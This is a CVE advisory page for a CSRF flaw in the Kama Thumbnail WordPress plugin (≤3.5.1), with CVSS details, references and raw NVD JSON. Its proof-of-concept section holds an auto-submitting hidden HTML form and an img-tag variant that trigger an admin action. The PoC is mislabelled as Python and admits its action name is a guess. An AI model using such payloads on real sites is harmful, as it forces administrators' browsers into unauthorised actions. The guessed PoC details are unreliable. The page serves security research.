CVE-2026-24521

Description

Cross-Site Request Forgery (CSRF) vulnerability in Timur Kamaev Kama Thumbnail kama-thumbnail allows Cross Site Request Forgery.This issue affects Kama Thumbnail: from n/a through <= 3.5.1.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Kama Thumbnail <= 3.5.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2026-24521 - Kama Thumbnail Plugin -->
<!-- This PoC demonstrates a CSRF attack that could clear thumbnail cache -->
<!DOCTYPE html>
<html>
<head>
    <title>CSRF PoC - Kama Thumbnail</title>
</head>
<body>
    <h1>CSRF PoC for CVE-2026-24521</h1>
    <p>Kama Thumbnail Plugin <= 3.5.1 CSRF Vulnerability</p>
    
    <!-- Auto-submit form to trigger cache clear action -->
    <form id="csrfForm" action="https://target-site.com/wp-admin/admin-post.php" method="POST" style="display:none;">
        <!-- Replace with actual action name used by Kama Thumbnail -->
        <input type="hidden" name="action" value="kama_thumbnail_clear_cache">
        <input type="hidden" name="_wpnonce" value=""> <!-- Missing nonce validation -->
        <input type="hidden" name="_wp_http_referer" value="/wp-admin/admin.php?page=kama_thumbnail">
    </form>
    
    <script>
        // Automatically submit the form on page load
        document.getElementById('csrfForm').submit();
        console.log('CSRF request sent');
    </script>
    
    <p>If successful, the thumbnail cache will be cleared without admin consent.</p>
</body>
</html>

<!-- Alternative: Image tag based request (for GET-based operations) -->
<!-- <img src="http://target-site.com/wp-admin/admin-post.php?action=kama_thumbnail_operation" width="0" height="0"> -->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-24521
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-24521
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-24521/
[4] VulDB https://vuldb.com/cve/CVE-2026-24521
[5] https://patchstack.com/database/Wordpress/Plugin/kama-thumbnail/vulnerability/wordpress-kama-thumbnail-plugin-3-5-1-cross-site-request-forgery-csrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-24521", "sourceIdentifier": "[email protected]", "published": "2026-01-23T15:16:07.750", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in Timur Kamaev Kama Thumbnail kama-thumbnail allows Cross Site Request Forgery.This issue affects Kama Thumbnail: from n/a through <= 3.5.1."}, {"lang": "es", "value": "Vulnerabilidad de falsificación de petición en sitios cruzados (CSRF) en Timur Kamaev Kama Thumbnail kama-thumbnail permite falsificación de petición en sitios cruzados. Este problema afecta a Kama Thumbnail: desde n/a hasta <= 3.5.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/kama-thumbnail/vulnerability/wordpress-kama-thumbnail-plugin-3-5-1-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}